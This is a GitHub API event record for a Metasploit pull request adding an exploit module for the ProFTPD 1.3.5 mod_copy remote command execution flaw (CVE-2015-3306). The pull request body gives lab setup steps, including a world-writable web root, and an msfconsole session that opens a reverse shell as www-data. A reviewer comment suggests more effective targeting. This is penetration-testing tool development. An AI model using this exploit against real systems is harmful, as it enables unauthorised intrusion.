{"action":"created","issue":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5224","labels_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5224/labels{/name}","comments_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5224/comments","events_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5224/events","html_url":"https://github.com/rapid7/metasploit-framework/pull/5224","id":70033623,"number":5224,"title":"Proftpd 1.3.5 Mod_Copy Command Execution","user":{"login":"xistence","id":4629127,"avatar_url":"https://avatars.githubusercontent.com/u/4629127?v=3","gravatar_id":"","url":"https://api.github.com/users/xistence","html_url":"https://github.com/xistence","followers_url":"https://api.github.com/users/xistence/followers","following_url":"https://api.github.com/users/xistence/following{/other_user}","gists_url":"https://api.github.com/users/xistence/gists{/gist_id}","starred_url":"https://api.github.com/users/xistence/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/xistence/subscriptions","organizations_url":"https://api.github.com/users/xistence/orgs","repos_url":"https://api.github.com/users/xistence/repos","events_url":"https://api.github.com/users/xistence/events{/privacy}","received_events_url":"https://api.github.com/users/xistence/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/rapid7/metasploit-framework/labels/module","name":"module","color":"eb6420"}],"state":"open","locked":false,"assignee":{"login":"wvu-r7","id":4551878,"avatar_url":"https://avatars.githubusercontent.com/u/4551878?v=3","gravatar_id":"","url":"https://api.github.com/users/wvu-r7","html_url":"https://github.com/wvu-r7","followers_url":"https://api.github.com/users/wvu-r7/followers","following_url":"https://api.github.com/users/wvu-r7/following{/other_user}","gists_url":"https://api.github.com/users/wvu-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wvu-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wvu-r7/subscriptions","organizations_url":"https://api.github.com/users/wvu-r7/orgs","repos_url":"https://api.github.com/users/wvu-r7/repos","events_url":"https://api.github.com/users/wvu-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wvu-r7/received_events","type":"User","site_admin":false},"milestone":null,"comments":7,"created_at":"2015-04-22T06:12:29Z","updated_at":"2015-05-08T19:21:25Z","closed_at":null,"pull_request":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/pulls/5224","html_url":"https://github.com/rapid7/metasploit-framework/pull/5224","diff_url":"https://github.com/rapid7/metasploit-framework/pull/5224.diff","patch_url":"https://github.com/rapid7/metasploit-framework/pull/5224.patch"},"body":"This is the exploit for the CVE-2015-3306 - Proftpd 1.3.5 mod_copy vulnerability.\r\nThe vulnerability requires a Proftpd service with the mod_copy module enabled and a writable website directory to put our PHP payload in.\r\n\r\nAll testing has been done on a default Kali VM using the installation steps below\r\n\r\n<h1>Proftpd installation steps</h1>\r\n\r\n```\r\napt-get install build-essential\r\nmkdir /apps\r\ncd /root\r\nwget \"ftp://ftp.proftpd.org/distrib/source/proftpd-1.3.5.tar.gz\"\r\ntar zxfv proftpd-1.3.5.tar.gz\r\ncd proftpd-1.3.5\r\n./configure --prefix=/apps/proftpd --with-modules=mod_copy\r\nmake\r\nmake install\r\ncd /apps/proftpd/sbin\r\n./proftpd\r\n```\r\n\r\n( If proftpd doesn't start, check that your hostname is correctly set in /etc/hosts )\r\n\r\n```\r\n/etc/init.d/apache2 start\r\nchmod 777 /var/www\r\n```\r\n\r\n<h1>Exploit</h1>\r\n\r\n```\r\nmsf > use exploit/unix/ftp/proftpd_modcopy_exec\r\nmsf exploit(proftpd_modcopy_exec) > set RHOST 192.168.2.112\r\nRHOST => 192.168.2.112\r\nmsf exploit(proftpd_modcopy_exec) > exploit\r\n\r\n[*] Started reverse handler on 192.168.2.130:4444\r\n[*] 192.168.2.112:21 - Connected to FTP server\r\n[*] 192.168.2.112:21 - Sending copy commands to FTP server\r\n[*] 192.168.2.112:80 - Executing PHP payload /FbiRfY.php\r\n[*] Command shell session 1 opened (192.168.2.130:4444 -> 192.168.2.112:59177) at 2015-04-22 01:27:52 -0400\r\n\r\nid\r\nuid=33(www-data) gid=33(www-data) groups=33(www-data)\r\n```"},"comment":{"url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/comments/100332668","html_url":"https://github.com/rapid7/metasploit-framework/pull/5224#issuecomment-100332668","issue_url":"https://api.github.com/repos/rapid7/metasploit-framework/issues/5224","id":100332668,"user":{"login":"wvu-r7","id":4551878,"avatar_url":"https://avatars.githubusercontent.com/u/4551878?v=3","gravatar_id":"","url":"https://api.github.com/users/wvu-r7","html_url":"https://github.com/wvu-r7","followers_url":"https://api.github.com/users/wvu-r7/followers","following_url":"https://api.github.com/users/wvu-r7/following{/other_user}","gists_url":"https://api.github.com/users/wvu-r7/gists{/gist_id}","starred_url":"https://api.github.com/users/wvu-r7/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/wvu-r7/subscriptions","organizations_url":"https://api.github.com/users/wvu-r7/orgs","repos_url":"https://api.github.com/users/wvu-r7/repos","events_url":"https://api.github.com/users/wvu-r7/events{/privacy}","received_events_url":"https://api.github.com/users/wvu-r7/received_events","type":"User","site_admin":false},"created_at":"2015-05-08T19:21:25Z","updated_at":"2015-05-08T19:21:25Z","body":"As @0x27 noted, having an uploads directory is more likely. Additionally, not limiting yourself to PHP for a \"stager\" would be ideal."}}